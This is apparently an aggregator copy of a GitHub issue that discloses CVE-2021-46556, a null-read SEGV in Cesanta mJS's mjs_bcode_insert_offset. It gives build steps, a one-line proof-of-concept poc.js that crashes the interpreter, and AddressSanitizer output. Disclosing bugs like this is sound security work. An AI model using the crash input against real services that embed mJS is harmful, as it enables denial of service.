Headline

CVE-2021-46556: SEGV src/mjs_bcode.c:67 in mjs_bcode_insert_offset · Issue #227 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_bcode_insert_offset at src/mjs_bcode.c. This vulnerability can lead to a Denial of Service (DoS).

2 years ago

CVE

Open in Source

#vulnerability #ubuntu #linux #dos #js #git

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Open

hope-fly opened this issue

Dec 31, 2021

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@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

(JSON.stringify([1, 2, 3]))((load - 6.34 * 21e2)([([JSON.parse(JSON.stringify([(0)]))])]));

Execution steps & Output

$ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==88306==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000008c (pc 0x558644d0edbc bp 0x000000000084 sp 0x7fffa37031f8 T0) ==88306==The signal is caused by a READ memory access. ==88306==Hint: address points to the zero page. #0 0x558644d0edbb in mjs_bcode_insert_offset src/mjs_bcode.c:67 #1 0x7fffa3703a0f (<unknown module>)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/mjs_bcode.c:67 in mjs_bcode_insert_offset ==88306==ABORTING

1 participant

@hope-fly